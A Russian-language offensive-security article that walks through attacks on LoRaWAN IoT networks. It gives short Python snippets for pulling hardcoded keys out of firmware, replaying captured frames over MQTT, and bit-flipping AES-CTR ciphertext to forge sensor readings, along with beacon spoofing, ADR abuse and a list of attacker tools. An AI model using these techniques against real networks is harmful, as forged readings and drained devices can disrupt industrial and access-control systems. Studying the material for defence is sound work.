
79
LoRaWAN (Long Range Wide Area Network) – это протокол для IoT, который позволяет устройствам передавать данные на дистанции до 15 км при минимальном потреблении энергии. Звучит мощно – и это действительно мощно. Но под капотом скрывается целый зоопарк уязвимостей, которые атакующий может эксплуатировать, сидя в машине за несколько километров от цели.
Как устроен LoRaWAN: быстрый ликбез
Прежде чем ломать – нужно понять архитектуру. Сеть состоит из трёх компонентов:
Шифрование строится на двух ключах: NwkSKey (сетевой) и AppSKey (приложения). Оба деривируются из мастер-ключа AppKey при процедуре OTAA (Over-The-Air Activation). И вот тут начинается самое интересное.
Вектор 1: Key Extraction – достаём ключи
Это самый жирный вектор. Миллионы устройств в мире используют хардкоженые ключи прямо в прошивке. Разработчики ленятся менять дефолтные значения при деплое.
Как достать ключ:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# Пример реверса прошивки с помощью binwalk + strings # binwalk -e firmware.bin # strings firmware.bin | grep -E "[0-9A-Fa-f]{32}" import re with open("firmware.bin", "rb") as f: data = f.read().decode("latin-1") # Ищем паттерны 128-битных ключей (32 hex символа) keys = re.findall(r'[0-9A-Fa-f]{32}', data) for k in set(keys): print(f"[!] Potential key found: {k}") |
Также ключи утекают через:
Вектор 2: Replay Attack – перегоняем пакеты
LoRaWAN v1.0 использует счётчик фреймов FCnt, но многие сети настроены с FCnt relaxed = true – то есть проверка счётчика отключена. Это открывает дверь для классического replay.
Как это работает:
|
1 |
# Захват и replay с помощью scapy + lorawan-модуль (концептуально)<br>from scapy.all import *<br><br># Захваченный raw LoRa пакет (после демодуляции)<br>captured_frame = bytes.fromhex(<br> "40 01 02 03 04 00 01 00 AB CD EF 12 34" # PHYPayload<br> .replace(" ", "")<br>)<br><br># Повторная отправка через MQTT на публичный LoRaWAN-сервер<br>import paho.mqtt.client as mqtt<br><br>client = mqtt.Client()<br>client.connect("lorawan-server.example.com", 1883)<br>client.publish("gateway/replay", captured_frame) |
В реальных сценариях replay-атаки эксплуатировались против умных счётчиков электроэнергии и систем контроля доступа.
Вектор 3: Bit Flipping – мутируем данные
Это MiTM-атака на уровне шифрования. LoRaWAN использует AES-128 в режиме CTR – и этот режим уязвим к bit flipping, если атакующий знает структуру plaintext.
Суть: XOR-ишь зашифрованный байт с известным значением и подменяешь его на нужное.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
def bit_flip_attack(ciphertext: bytes, position: int, known_plain: int, desired_plain: int) -> bytes: """ Flip bit в CTR-шифротексте без знания ключа. known_plain - оригинальное значение байта (если известна структура) desired_plain - нужное нам значение """ ct = bytearray(ciphertext) ct[position] ^= (known_plain ^ desired_plain) return bytes(ct) # Пример: сенсор шлёт температуру 25°C в байте 8 # Хотим изменить на 99°C чтобы сработала тревога forged = bit_flip_attack( ciphertext=b'\x40\x01\x02\x03\x04\x00\x01\x00\x19\xAB\xCD', position=8, known_plain=0x19, # 25 в hex desired_plain=0x63 # 99 в hex ) print(f"Forged packet: {forged.hex()}") |
Атака особенно опасна в промышленных IoT-системах, где поддельные показания сенсоров могут вызвать аварийные ситуации.
Вектор 4: ACK Spoofing и Battery Draining
LoRaWAN Class B использует beacon-фреймы для синхронизации окон приёма. Атакующий может подделать beacon и заставить устройство постоянно слушать эфир – и это убивает батарею за часы вместо лет.
Дополнительно: beacon содержит GPS-координаты шлюза в поле GwSpecific → можно точно определить местоположение сетевой инфраструктуры.
Вектор 5: BlackoutADR – новая атака 2025 года
Исследователи описали атаку BlackoutADR, эксплуатирующую механизм Adaptive Data Rate (ADR). ADR автоматически регулирует spreading factor и мощность передачи.
Идея атаки: атакующий посылает поддельные SNR-метрики, заставляя устройство переключиться на максимальный spreading factor (SF12) – скорость передачи падает в 64 раза, пакеты теряются, сеть фактически умирает.
Арсенал атакующего
| Инструмент | Назначение | Стоимость |
|---|---|---|
| RTL-SDR v3 | Пассивный перехват LoRa-трафика | ~$30 |
| HackRF One | Активная передача, replay | ~$300 |
| GNU Radio + gr-lora | Декодирование LoRa-сигналов | Free |
| ChirpStack | Свой LoRaWAN-сервер для тестов | Free |
| LoRa-craft | Форжинг LoRaWAN-пакетов | GitHub |
Защита: как не стать жертвой
Если ты на синей стороне – вот чеклист:
LoRaWAN – мощная технология, но безопасность в ней нередко принесена в жертву простоте деплоя. Умные города, промышленные датчики, сельскохозяйственный IoT – всё это работает на протоколе, который при кривой конфигурации ломается буквально с парковки. RTL-SDR за 30 долларов + 20 минут времени – и ты читаешь трафик с датчиков в радиусе нескольких километров.